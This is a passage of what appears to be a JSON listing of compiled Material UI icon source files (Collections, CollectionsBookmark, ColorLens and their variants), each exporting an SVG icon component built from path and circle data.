    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 11c0 2.76 2.24 5 5 5s5-2.24 5-5v-1H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 19h16v2H4zM18.5 3H6c-1.1 0-2 .9-2 2v5.71c0 3.83 2.95 7.18 6.78 7.29 3.96.12 7.22-3.06 7.22-7v-1h.5c1.93 0 3.5-1.57 3.5-3.5S20.43 3 18.5 3M16 11c0 2.76-2.24 5-5 5s-5-2.24-5-5v-1h10zm0-3H6V5h10zm2.5 0H18V5h.5c.83 0 1.5.67 1.5 1.5S19.33 8 18.5 8\"\n}, \"1\")], 'CoffeeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Collections.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 16V4c0-1.1-.9-2-2-2H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2m-11-4 2.03 2.71L16 11l4 5H8zM2 6v14c0 1.1.9 2 2 2h14v-2H4V6z\"\n}), 'Collections');"
  },
  {
    "path": "packages/mui-icons-material/lib/Collections.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 16V4c0-1.1-.9-2-2-2H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2m-11-4 2.03 2.71L16 11l4 5H8zM2 6v14c0 1.1.9 2 2 2h14v-2H4V6z\"\n}), 'Collections');"
  },
  {
    "path": "packages/mui-icons-material/lib/CollectionsBookmark.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 6H2v14c0 1.1.9 2 2 2h14v-2H4z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 10-2.5-1.5L15 12V4h5z\"\n}, \"1\")], 'CollectionsBookmark');"
  },
  {
    "path": "packages/mui-icons-material/lib/CollectionsBookmark.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 6H2v14c0 1.1.9 2 2 2h14v-2H4z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 10-2.5-1.5L15 12V4h5z\"\n}, \"1\")], 'CollectionsBookmark');"
  },
  {
    "path": "packages/mui-icons-material/lib/CollectionsBookmarkOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 6H2v14c0 1.1.9 2 2 2h14v-2H4zm16-4H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-3 2v5l-1-.75L15 9V4zm3 12H8V4h5v9l3-2.25L19 13V4h1z\"\n}), 'CollectionsBookmarkOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CollectionsBookmarkOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 6H2v14c0 1.1.9 2 2 2h14v-2H4zm16-4H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-3 2v5l-1-.75L15 9V4zm3 12H8V4h5v9l3-2.25L19 13V4h1z\"\n}), 'CollectionsBookmarkOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CollectionsBookmarkRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 20H5c-.55 0-1-.45-1-1V7c0-.55-.45-1-1-1s-1 .45-1 1v13c0 1.1.9 2 2 2h13c.55 0 1-.45 1-1s-.45-1-1-1m3-18H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 10-2.5-1.5L15 12V4h5z\"\n}), 'CollectionsBookmarkRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CollectionsBookmarkRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 20H5c-.55 0-1-.45-1-1V7c0-.55-.45-1-1-1s-1 .45-1 1v13c0 1.1.9 2 2 2h13c.55 0 1-.45 1-1s-.45-1-1-1m3-18H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 10-2.5-1.5L15 12V4h5z\"\n}), 'CollectionsBookmarkRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CollectionsBookmarkSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 6H2v16h16v-2H4zm18-4H6v16h16zm-2 10-2.5-1.5L15 12V4h5z\"\n}), 'CollectionsBookmarkSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CollectionsBookmarkSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 6H2v16h16v-2H4zm18-4H6v16h16zm-2 10-2.5-1.5L15 12V4h5z\"\n}), 'CollectionsBookmarkSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CollectionsBookmarkTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4h-1v9l-3-2.25L13 13V4H8v12h12z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 22h14v-2H4V6H2v14c0 1.1.9 2 2 2m18-6V4c0-1.1-.9-2-2-2H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2M15 4h2v5l-1-.75L15 9zM8 4h5v9l3-2.25L19 13V4h1v12H8z\"\n}, \"1\")], 'CollectionsBookmarkTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CollectionsBookmarkTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4h-1v9l-3-2.25L13 13V4H8v12h12z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 22h14v-2H4V6H2v14c0 1.1.9 2 2 2m18-6V4c0-1.1-.9-2-2-2H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2M15 4h2v5l-1-.75L15 9zM8 4h5v9l3-2.25L19 13V4h1v12H8z\"\n}, \"1\")], 'CollectionsBookmarkTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CollectionsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4v12H8V4zm0-2H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-8.5 9.67 1.69 2.26 2.48-3.1L19 15H9zM2 6v14c0 1.1.9 2 2 2h14v-2H4V6z\"\n}), 'CollectionsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CollectionsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4v12H8V4zm0-2H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-8.5 9.67 1.69 2.26 2.48-3.1L19 15H9zM2 6v14c0 1.1.9 2 2 2h14v-2H4V6z\"\n}), 'CollectionsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CollectionsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 16V4c0-1.1-.9-2-2-2H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2m-10.6-3.47 1.63 2.18 2.58-3.22c.2-.25.58-.25.78 0l2.96 3.7c.26.33.03.81-.39.81H9c-.41 0-.65-.47-.4-.8l2-2.67c.2-.26.6-.26.8 0M2 7v13c0 1.1.9 2 2 2h13c.55 0 1-.45 1-1s-.45-1-1-1H5c-.55 0-1-.45-1-1V7c0-.55-.45-1-1-1s-1 .45-1 1\"\n}), 'CollectionsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CollectionsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 16V4c0-1.1-.9-2-2-2H8c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2m-10.6-3.47 1.63 2.18 2.58-3.22c.2-.25.58-.25.78 0l2.96 3.7c.26.33.03.81-.39.81H9c-.41 0-.65-.47-.4-.8l2-2.67c.2-.26.6-.26.8 0M2 7v13c0 1.1.9 2 2 2h13c.55 0 1-.45 1-1s-.45-1-1-1H5c-.55 0-1-.45-1-1V7c0-.55-.45-1-1-1s-1 .45-1 1\"\n}), 'CollectionsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CollectionsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 18V2H6v16zm-11-6 2.03 2.71L16 11l4 5H8zM2 6v16h16v-2H4V6z\"\n}), 'CollectionsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CollectionsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 18V2H6v16zm-11-6 2.03 2.71L16 11l4 5H8zM2 6v16h16v-2H4V6z\"\n}), 'CollectionsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CollectionsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 16h12V4H8zm3.5-4.33 1.69 2.26 2.48-3.09L19 15H9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 2c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2zm12 14H8V4h12zm-4.33-5.17-2.48 3.09-1.69-2.25L9 15h10zM4 22h14v-2H4V6H2v14c0 1.1.9 2 2 2\"\n}, \"1\")], 'CollectionsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CollectionsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 16h12V4H8zm3.5-4.33 1.69 2.26 2.48-3.09L19 15H9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 2c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2zm12 14H8V4h12zm-4.33-5.17-2.48 3.09-1.69-2.25L9 15h10zM4 22h14v-2H4V6H2v14c0 1.1.9 2 2 2\"\n}, \"1\")], 'CollectionsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ColorLens.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3c-4.97 0-9 4.03-9 9s4.03 9 9 9c.83 0 1.5-.67 1.5-1.5 0-.39-.15-.74-.39-1.01-.23-.26-.38-.61-.38-.99 0-.83.67-1.5 1.5-1.5H16c2.76 0 5-2.24 5-5 0-4.42-4.03-8-9-8m-5.5 9c-.83 0-1.5-.67-1.5-1.5S5.67 9 6.5 9 8 9.67 8 10.5 7.33 12 6.5 12m3-4C8.67 8 8 7.33 8 6.5S8.67 5 9.5 5s1.5.67 1.5 1.5S10.33 8 9.5 8m5 0c-.83 0-1.5-.67-1.5-1.5S13.67 5 14.5 5s1.5.67 1.5 1.5S15.33 8 14.5 8m3 4c-.83 0-1.5-.67-1.5-1.5S16.67 9 17.5 9s1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'ColorLens');"
  },
  {
    "path": "packages/mui-icons-material/lib/ColorLens.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3c-4.97 0-9 4.03-9 9s4.03 9 9 9c.83 0 1.5-.67 1.5-1.5 0-.39-.15-.74-.39-1.01-.23-.26-.38-.61-.38-.99 0-.83.67-1.5 1.5-1.5H16c2.76 0 5-2.24 5-5 0-4.42-4.03-8-9-8m-5.5 9c-.83 0-1.5-.67-1.5-1.5S5.67 9 6.5 9 8 9.67 8 10.5 7.33 12 6.5 12m3-4C8.67 8 8 7.33 8 6.5S8.67 5 9.5 5s1.5.67 1.5 1.5S10.33 8 9.5 8m5 0c-.83 0-1.5-.67-1.5-1.5S13.67 5 14.5 5s1.5.67 1.5 1.5S15.33 8 14.5 8m3 4c-.83 0-1.5-.67-1.5-1.5S16.67 9 17.5 9s1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'ColorLens');"
  },
  {
    "path": "packages/mui-icons-material/lib/ColorLensOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 22C6.49 22 2 17.51 2 12S6.49 2 12 2s10 4.04 10 9c0 3.31-2.69 6-6 6h-1.77c-.28 0-.5.22-.5.5 0 .12.05.23.13.33.41.47.64 1.06.64 1.67 0 1.38-1.12 2.5-2.5 2.5m0-18c-4.41 0-8 3.59-8 8s3.59 8 8 8c.28 0 .5-.22.5-.5 0-.16-.08-.28-.14-.35-.41-.46-.63-1.05-.63-1.65 0-1.38 1.12-2.5 2.5-2.5H16c2.21 0 4-1.79 4-4 0-3.86-3.59-7-8-7\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"6.5\",\n  cy: \"11.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9.5\",\n  cy: \"7.5\",\n  r: \"1.5\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"14.5\",\n  cy: \"7.5\",\n  r: \"1.5\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"17.5\",\n  cy: \"11.5\",\n  r: \"1.5\"\n}, \"4\")], 'ColorLensOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ColorLensOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 22C6.49 22 2 17.51 2 12S6.49 2 12 2s10 4.04 10 9c0 3.31-2.69 6-6 6h-1.77c-.28 0-.5.22-.5.5 0 .12.05.23.13.33.41.47.64 1.06.64 1.67 0 1.38-1.12 2.5-2.5 2.5m0-18c-4.41 0-8 3.59-8 8s3.59 8 8 8c.28 0 .5-.22.5-.5 0-.16-.08-.28-.14-.35-.41-.46-.63-1.05-.63-1.65 0-1.38 1.12-2.5 2.5-2.5H16c2.21 0 4-1.79 4-4 0-3.86-3.59-7-8-7\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"6.5\",\n  cy: \"11.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9.5\",\n  cy: \"7.5\",\n  r: \"1.5\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"14.5\",\n  cy: \"7.5\",\n  r: \"1.5\"\n}, \"3\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"17.5\",\n  cy: \"11.5\",\n  r: \"1.5\"\n}, \"4\")], 'ColorLensOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ColorLensRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3c-4.97 0-9 4.03-9 9s4.03 9 9 9c.83 0 1.5-.67 1.5-1.5 0-.39-.15-.74-.39-1.01-.23-.26-.38-.61-.38-.99 0-.83.67-1.5 1.5-1.5H16c2.76 0 5-2.24 5-5 0-4.42-4.03-8-9-8m-5.5 9c-.83 0-1.5-.67-1.5-1.5S5.67 9 6.5 9 8 9.67 8 10.5 7.33 12 6.5 12m3-4C8.67 8 8 7.33 8 6.5S8.67 5 9.5 5s1.5.67 1.5 1.5S10.33 8 9.5 8m5 0c-.83 0-1.5-.67-1.5-1.5S13.67 5 14.5 5s1.5.67 1.5 1.5S15.33 8 14.5 8m3 4c-.83 0-1.5-.67-1.5-1.5S16.67 9 17.5 9s1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'ColorLensRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ColorLensRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3c-4.97 0-9 4.03-9 9s4.03 9 9 9c.83 0 1.5-.67 1.5-1.5 0-.39-.15-.74-.39-1.01-.23-.26-.38-.61-.38-.99 0-.83.67-1.5 1.5-1.5H16c2.76 0 5-2.24 5-5 0-4.42-4.03-8-9-8m-5.5 9c-.83 0-1.5-.67-1.5-1.5S5.67 9 6.5 9 8 9.67 8 10.5 7.33 12 6.5 12m3-4C8.67 8 8 7.33 8 6.5S8.67 5 9.5 5s1.5.67 1.5 1.5S10.33 8 9.5 8m5 0c-.83 0-1.5-.67-1.5-1.5S13.67 5 14.5 5s1.5.67 1.5 1.5S15.33 8 14.5 8m3 4c-.83 0-1.5-.67-1.5-1.5S16.67 9 17.5 9s1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'ColorLensRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ColorLensSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3c-4.97 0-9 4.03-9 9s4.03 9 9 9c.83 0 1.5-.67 1.5-1.5 0-.39-.15-.74-.39-1.01-.23-.26-.38-.61-.38-.99 0-.83.67-1.5 1.5-1.5H16c2.76 0 5-2.24 5-5 0-4.42-4.03-8-9-8m-5.5 9c-.83 0-1.5-.67-1.5-1.5S5.67 9 6.5 9 8 9.67 8 10.5 7.33 12 6.5 12m3-4C8.67 8 8 7.33 8 6.5S8.67 5 9.5 5s1.5.67 1.5 1.5S10.33 8 9.5 8m5 0c-.83 0-1.5-.67-1.5-1.5S13.67 5 14.5 5s1.5.67 1.5 1.5S15.33 8 14.5 8m3 4c-.83 0-1.5-.67-1.5-1.5S16.67 9 17.5 9s1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'ColorLensSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ColorLensSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3c-4.97 0-9 4.03-9 9s4.03 9 9 9c.83 0 1.5-.67 1.5-1.5 0-.39-.15-.74-.39-1.01-.23-.26-.38-.61-.38-.99 0-.83.67-1.5 1.5-1.5H16c2.76 0 5-2.24 5-5 0-4.42-4.03-8-9-8m-5.5 9c-.83 0-1.5-.67-1.5-1.5S5.67 9 6.5 9 8 9.67 8 10.5 7.33 12 6.5 12m3-4C8.67 8 8 7.33 8 6.5S8.67 5 9.5 5s1.5.67 1.5 1.5S10.33 8 9.5 8m5 0c-.83 0-1.5-.67-1.5-1.5S13.67 5 14.5 5s1.5.67 1.5 1.5S15.33 8 14.5 8m3 4c-.83 0-1.5-.67-1.5-1.5S16.67 9 17.5 9s1.5.67 1.5 1.5-.67 1.5-1.5 1.5\"\n}), 'ColorLensSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ColorLensTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8s3.59 8 8 8c.28 0 .5-.22.5-.5 0-.16-.08-.28-.14-.35-.41-.46-.63-1.05-.63-1.65 0-1.38 1.12-2.5 2.5-2.5H16c2.21 0 4-1.79 4-4 0-3.86-3.59-7-8-7m-5.5 9c-.83 0-1.5-.67-1.5-1.5S5.67 10 6.5 10s1.5.67 1.5 1.5S7.33 13 6.5 13m3-4C8.67 9 8 8.33 8 7.5S8.67 6 9.5 6s1.5.67 1.5 1.5S10.33 9 9.5 9m5 0c-.83 0-1.5-.67-1.5-1.5S13.67 6 14.5 6s1.5.67 1.5 1.5S15.33 9 14.5 9m4.5 2.5c0 .83-.67 1.5-1.5 1.5s-1.5-.67-1.5-1.5.67-1.5 1.5-1.5 1.5.67 1.5 1.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.49 2 2 6.49 2 12s4.49 10 10 10c1.38 0 2.5-1.12 2.5-2.5 0-.61-.23-1.21-.64-1.67-.08-.09-.13-.21-.13-.33 0-.28.22-.5.5-.5H16c3.31 0 6-2.69 6-6 0-4.96-4.49-9-10-9m4 13h-1.77c-1.38 0-2.5 1.12-2.5 2.5 0 .61.22 1.19.63 1.65.06.07.14.19.14.35 0 .28-.22.5-.5.5-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.14 8 7c0 2.21-1.79 4-4 4\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"6.5\",\n  cy: \"11.5\",\n  r: \"1.5\"\n}, \"2\"), 